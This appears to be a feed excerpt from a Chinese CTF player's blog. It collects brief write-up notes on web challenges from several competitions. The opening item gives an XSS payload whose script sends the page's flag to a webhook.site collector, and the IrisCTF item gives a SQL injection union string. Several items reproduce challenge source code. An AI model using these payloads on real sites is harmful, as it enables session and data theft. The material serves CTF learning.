&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;终止报错&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;link rel=&amp;#34;stylesheet&amp;#34; href=&amp;#34;https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f&amp;#34;&amp;gt;&amp;lt;iframe src=&amp;#34;http://localhost/flag&amp;#34; csp=&amp;#34;img-src &amp;lt;https://*&amp;gt;; defascript-srcult-sscript-srcrc &amp;lt;https://*&amp;gt;; repscript-srcort-uscript-srcri &amp;lt;https://*&amp;gt;;&amp;#34; referrerpolicy=&amp;#34;no-referrer&amp;#34;&amp;gt;





&amp;lt;img src=&amp;#34;https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f&amp;#34;&amp;gt;
&amp;lt;script&amp;gt;
flag=document.getElementsByTagName(&amp;#34;pre&amp;#34;)[0];
fetch(&amp;#34;https://webhook.site/aee8bc6e-8b49-4193-9a96-291dc379b94f?flag=${encodeURIComponent(flag)}&amp;#34;)
 .then(response =&amp;gt; {
 // 检查响应状态
 if (!response.ok) {
 throw new Error(`HTTP error! Status: ${response.status}`);
 }
 // 将响应转换为 JSON
 return response.json();
 })
 );
&amp;lt;/script&amp;gt;
&amp;lt;/iframe&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="dicedicegoose"&gt;dicedicegoose&lt;/h2&gt;
&lt;p&gt;&lt;img src="./image-20240206131947119-1707199656435-3.png" alt="image-20240206131947119"&gt;&lt;/p&gt;</description></item><item><title>西湖论剑</title><link>/posts/xihulunjian/</link><pubDate>Mon, 05 Feb 2024 00:48:41 +0800</pubDate><guid>/posts/xihulunjian/</guid><description>&lt;h2 id="only_sql"&gt;only_sql&lt;/h2&gt;
&lt;p&gt;连上自己的数据库，load data写文件进去&lt;/p&gt;
&lt;p&gt;读到源码：&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;&amp;lt;?php
error_reporting(0);
// mine
// $db_host = &amp;#39;127.0.0.1&amp;#39;;
// $db_username = &amp;#39;root&amp;#39;;
// $db_password = &amp;#39;1q2w3e4r5t!@#&amp;#39;;
// $db_name = &amp;#39;mysql&amp;#39;;

$db_host = $_POST[&amp;#34;db_host&amp;#34;];
$db_username = $_POST[&amp;#34;db_username&amp;#34;];
$db_password = $_POST[&amp;#34;db_password&amp;#34;];
$db_name = $_POST[&amp;#34;db_name&amp;#34;];
if(isset($db_host)){
 try {
 $dsn = &amp;#34;mysql:host=$db_host;dbname=$db_name&amp;#34;;
 $pdo = new PDO($dsn, $db_username, $db_password);
 $pdo-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
 $_SESSION[&amp;#39;dsn&amp;#39;]=$dsn;
 $_SESSION[&amp;#39;db_username&amp;#39;]=$db_username;
 $_SESSION[&amp;#39;db_password&amp;#39;]=$db_password;
 } catch (Exception $e) {
 die($e-&amp;gt;getMessage());
 }
}
if(!isset($_SESSION[&amp;#39;dsn&amp;#39;])){
 die(&amp;#34;&amp;lt;script&amp;gt;alert(&amp;#39;请先连接数据库&amp;#39;);window.location.href=&amp;#39;index.php&amp;#39;&amp;lt;/script&amp;gt;&amp;#34;);
}

?&amp;gt;

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
 &amp;lt;title&amp;gt;执行数据库命令&amp;lt;/title&amp;gt;
 &amp;lt;link rel=&amp;#34;stylesheet&amp;#34; type=&amp;#34;text/css&amp;#34; href=&amp;#34;style.css&amp;#34;&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;div class=&amp;#34;container&amp;#34;&amp;gt;
 &amp;lt;h1&amp;gt;执行数据库命令&amp;lt;/h1&amp;gt;
 &amp;lt;form action=&amp;#34;query.php&amp;#34; method=&amp;#34;post&amp;#34;&amp;gt;
 &amp;lt;div class=&amp;#34;form-group&amp;#34;&amp;gt;
 &amp;lt;label for=&amp;#34;db_command&amp;#34;&amp;gt;MySQL命令：&amp;lt;/label&amp;gt;
 &amp;lt;input type=&amp;#34;text&amp;#34; id=&amp;#34;db_command&amp;#34; name=&amp;#34;db_command&amp;#34; style=&amp;#34;width: 500px;&amp;#34; required&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;div class=&amp;#34;form-group&amp;#34;&amp;gt;
 &amp;lt;button type=&amp;#34;submit&amp;#34;&amp;gt;执行命令&amp;lt;/button&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/form&amp;gt;

 &amp;lt;div class=&amp;#34;result&amp;#34;&amp;gt;
 
 &amp;lt;?php
 if (isset($_POST[&amp;#39;db_command&amp;#39;])) {
 $db_command = $_POST[&amp;#34;db_command&amp;#34;];
 $dsn=$_SESSION[&amp;#39;dsn&amp;#39;];
 $db_username = $_SESSION[&amp;#39;db_username&amp;#39;];
 $db_password = $_SESSION[&amp;#39;db_password&amp;#39;];

 try {
 $pdo = new PDO($dsn, $db_username, $db_password,array(PDO::MYSQL_ATTR_LOCAL_INFILE =&amp;gt; true));
 $pdo-&amp;gt;setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

 $stmt = $pdo-&amp;gt;prepare($db_command);
 $stmt-&amp;gt;execute();
 $result = $stmt-&amp;gt;fetchAll(PDO::FETCH_ASSOC);

 if ($result) {
 echo &amp;#34;&amp;lt;h2&amp;gt;执行结果：&amp;lt;/h2&amp;gt;&amp;#34;;
 echo &amp;#34;&amp;lt;table&amp;gt;&amp;#34;;
 echo &amp;#34;&amp;lt;tr&amp;gt;&amp;#34;;
 foreach (array_keys($result[0]) as $column) {
 echo &amp;#34;&amp;lt;th&amp;gt;$column&amp;lt;/th&amp;gt;&amp;#34;;
 }
 echo &amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;;
 foreach ($result as $row) {
 echo &amp;#34;&amp;lt;tr&amp;gt;&amp;#34;;
 foreach ($row as $value) {
 echo &amp;#34;&amp;lt;td&amp;gt;$value&amp;lt;/td&amp;gt;&amp;#34;;
 }
 echo &amp;#34;&amp;lt;/tr&amp;gt;&amp;#34;;
 }
 echo &amp;#34;&amp;lt;/table&amp;gt;&amp;#34;;
 } else {
 echo &amp;#34;&amp;lt;p&amp;gt;没有结果返回。&amp;lt;/p&amp;gt;&amp;#34;;
 }
 } catch (Exception $e) {
 echo &amp;#34;&amp;lt;p class=&amp;#39;error-message&amp;#39;&amp;gt;执行错误：&amp;#34; . $e-&amp;gt;getMessage() . &amp;#34;&amp;lt;/p&amp;gt;&amp;#34;;
 }
 }
 ?&amp;gt;
 &amp;lt;/div&amp;gt;
 &amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;eeee 没啥用&lt;/p&gt;
&lt;p&gt;直接读flag&amp;mdash;&amp;mdash;&amp;mdash;明明说是sql结果flag不在数据库里面&lt;/p&gt;</description></item><item><title>TelCTF</title><link>/posts/telctf/</link><pubDate>Mon, 05 Feb 2024 00:45:06 +0800</pubDate><guid>/posts/telctf/</guid><description>&lt;h1 id="stress-release-service"&gt;&lt;strong&gt;Stress Release Service&lt;/strong&gt;&lt;/h1&gt;
&lt;h2 id="stress-release-service-1"&gt;&lt;strong&gt;Stress Release Service:&lt;/strong&gt;&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Chall name:
- Stress Release Service

Category:
- Misc / Web

Author:
- tsug0d

Description:
For a better New Year, we are introducing a service that can help you reduce stress: &amp;lt;http://192.53.173.71:8080&amp;gt; . As our service is only available during the New Year, we are also providing you with a code for later use in material section.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/8d78a98b-0a45-4355-a471-4e5956cf6fe5/StressReleaseService__give.zip"&gt;StressReleaseService__give.zip&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;It is using &lt;code&gt;preg_match&lt;/code&gt; to validate.&lt;/p&gt;
&lt;p&gt;为啥是misc题啊&lt;/p&gt;
&lt;p&gt;限制7个字符长度，可能需要点脑洞吧（&lt;/p&gt;
&lt;p&gt;tiniest php webshell?&lt;/p&gt;
&lt;p&gt;&lt;a href="https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/"&gt;https://www.pentestpartners.com/security-blog/the-tiniest-php-system-shell-ever/&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;抽象，反引号或者想办法传参？&lt;/p&gt;
&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/302a6103-2a30-446e-aba4-8686bf154b39/Untitled.txt"&gt;CTFshow_rce极限大挑战&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;他不限制在7个字符可以看下面这张图&lt;img src="/image-20240204224839567-1707065135959-1.png" alt="../TelCTF/image-20240204224839567"&gt;&lt;/p&gt;</description></item><item><title>RW-be</title><link>/posts/rw-be/</link><pubDate>Mon, 05 Feb 2024 00:42:37 +0800</pubDate><guid>/posts/rw-be/</guid><description>&lt;h1 id="be-a-security-researcher"&gt;Be-a-Security-Researcher&lt;/h1&gt;
&lt;p&gt;开局login&lt;/p&gt;</description></item><item><title>IrisCTF</title><link>/posts/irisctf/</link><pubDate>Mon, 05 Feb 2024 00:39:11 +0800</pubDate><guid>/posts/irisctf/</guid><description>&lt;h2 id="whats-my-password"&gt;What&amp;rsquo;s My Password&lt;/h2&gt;
&lt;p&gt;sql injection&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;{&amp;#34;username&amp;#34;:&amp;#34;skat&amp;#34;,&amp;#34;password&amp;#34;:&amp;#34;\&amp;#34; union select username,password from users where username=\&amp;#34;skat\&amp;#34;#&amp;#34;}
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="lamenote"&gt;LameNote&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Note challenges are lame so I made a lamer one. Flag matches irisctf{[a-z_]+}

Admin will log in, make a note with the flag, then visit your link. (Sorry if the timeout is a bit broken on this challenge, there&amp;#39;s no PoW on the admin bot so feel free to spam it a bit)

nc lamenote-adminbot.chal.irisc.tf 10300

Hint!
Please redownload if you downloaded server files at the start of the event.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/e71696da-6929-44f6-843a-ade7f472026a/lamenote.tar.gz"&gt;lamenote.tar.gz&lt;/a&gt;&lt;/p&gt;</description></item><item><title>Insomni'hack</title><link>/posts/insomni-hack/</link><pubDate>Mon, 05 Feb 2024 00:00:09 +0800</pubDate><guid>/posts/insomni-hack/</guid><description>&lt;h2 id="insobank"&gt;InsoBank&lt;/h2&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;by clZ

We&amp;#39;re launching a new online Bank today which is of course backed by crypto and AI which makes it better than any other banking system out there.

It&amp;#39;s not fully featured yet as you can only transfer money within your own accounts, but you can already see how superior it is to other systems:

http://91.92.201.197:3000/

Source: here
&lt;/code&gt;&lt;/pre&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;for (accountid,name,balance) in cursor.fetchall():
 if balance &amp;gt; 13.37:
 results[accountid] = {&amp;#39;name&amp;#39;: name, &amp;#39;balance&amp;#39;: balance, &amp;#39;flag&amp;#39;: FLAG}
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>My 2023</title><link>/posts/my2023total/</link><pubDate>Mon, 29 Jan 2024 13:38:57 +0800</pubDate><guid>/posts/my2023total/</guid><description>&lt;h1 id="2023"&gt;2023&lt;/h1&gt;
&lt;p&gt;emmm，我也想总结一下下（QWQ）我的2023。&lt;/p&gt;</description></item><item><title>强网杯2023</title><link>/posts/qiangwangbei/</link><pubDate>Wed, 27 Dec 2023 00:26:21 +0800</pubDate><guid>/posts/qiangwangbei/</guid><description>&lt;h2 id="web"&gt;Web&lt;/h2&gt;
&lt;p&gt;给了docker，代码逻辑&lt;/p&gt;</description></item><item><title>楚慧杯</title><link>/posts/chuhuibei/</link><pubDate>Mon, 25 Dec 2023 00:31:42 +0800</pubDate><guid>/posts/chuhuibei/</guid><description>&lt;h1 id="楚慧杯"&gt;楚慧杯&lt;/h1&gt;
&lt;h2 id="eaaeval"&gt;eaaeval&lt;/h2&gt;
&lt;p&gt;打开题目，源码给了用户密码&lt;/p&gt;</description></item><item><title>ASISCTF</title><link>/posts/asisctf/</link><pubDate>Mon, 25 Dec 2023 00:22:51 +0800</pubDate><guid>/posts/asisctf/</guid><description>&lt;h2 id="pupptear"&gt;&lt;strong&gt;Pupptear:&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;***报错追踪文件名字&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Do you know what Puppeteer&amp;#39;s friends call him when he cries? Pupptear... hahahaah

[attachment](&amp;lt;https://asisctf.com/tasks/pupptear_0ab53ea3b73da58a4d0854bf42ec1ea166283b3e.txz&amp;gt;)

nc 18.195.96.13 2000

Flag format for Pupptear: ^ASIS{[^{}]+}$
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;a href="https://prod-files-secure.s3.us-west-2.amazonaws.com/c378b070-6063-4137-81ee-f75f82009b81/7865afae-5d80-486d-b9d3-9239e8b4ff5e/pupptear.txz"&gt;pupptear.txz&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;oh ok&lt;/p&gt;
&lt;p&gt;I get the concept.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-jsx" data-lang="jsx"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;input&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;input URL (b64ed): &amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;not&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;re&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;match&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;^[A-Za-z0-9=+/]+$&amp;#39;&lt;/span&gt;,&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;))&lt;span style="color:#f92672"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;print&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;bad URL&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;os&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;os&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;os&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;containerName&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;join&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;random&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;choice&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;ascii_uppercase&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;string&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;digits&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;_&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;range&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0x10&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;os&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;system&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;bash -c &amp;#34;sleep 5 &amp;amp;&amp;amp; docker kill {containerName} 2&amp;gt;/dev/null&amp;#34; &amp;amp;&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;os&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;system&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;f&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#39;docker run --name {containerName} pupptear bash -c \\&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;/&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;ASIS&lt;/span&gt;&lt;span style="color:#f92672"&gt;*&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/index.js {url}\\&amp;#39; &amp;#39;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt;&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;/usr/bin/env node&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;require&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;puppeteer&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flag&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;flag{test-flag}&amp;#39;&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;visit&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;){
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/^https?:\\/&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;\\&lt;/span&gt;&lt;span style="color:#75715e"&gt;//.test(url)){
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;puppeteer&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;launch&lt;/span&gt;({
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#a6e22e"&gt;pipe&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#a6e22e"&gt;args&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#e6db74"&gt;&amp;#34;--no-sandbox&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#e6db74"&gt;&amp;#34;--disable-setuid-sandbox&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#e6db74"&gt;&amp;#34;--js-flags=--noexpose_wasm,--jitless&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#e6db74"&gt;&amp;#34;--ignore-certificate-errors&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#a6e22e"&gt;executablePath&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;/usr/bin/google-chrome-stable&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		 &lt;span style="color:#a6e22e"&gt;headless&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;new&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		});
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;newPage&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#66d9ef"&gt;goto&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;url&lt;/span&gt;,{ &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;page&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;waitForFunction&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;flag&lt;/span&gt;=&amp;gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#66d9ef"&gt;let&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; document.&lt;span style="color:#a6e22e"&gt;getElementById&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;flag&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(&lt;span style="color:#f92672"&gt;!&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;) &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;flag&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;			&lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		},{ &lt;span style="color:#a6e22e"&gt;timeout&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2000&lt;/span&gt; },&lt;span style="color:#a6e22e"&gt;flag&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;		&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; Promise(&lt;span style="color:#a6e22e"&gt;r&lt;/span&gt;=&amp;gt;&lt;span style="color:#a6e22e"&gt;setTimeout&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;r&lt;/span&gt;,&lt;span style="color:#ae81ff"&gt;3000&lt;/span&gt;));
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	}&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;){}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;{&lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;browser&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;close&lt;/span&gt;();}&lt;span style="color:#66d9ef"&gt;catch&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;e&lt;/span&gt;){}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;	&lt;span style="color:#a6e22e"&gt;process&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;exit&lt;/span&gt;(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;get folder name? have no idea.&lt;/p&gt;
&lt;p&gt;need to check if we can get flag during page move delay&lt;img src="./image-20240101163004369-1707063823030-1.png" alt="image-20240101163004369"&gt;&lt;/p&gt;
&lt;p&gt;fake flag. need to get folder name. i guess stacktrace from waitforfunction?&lt;/p&gt;
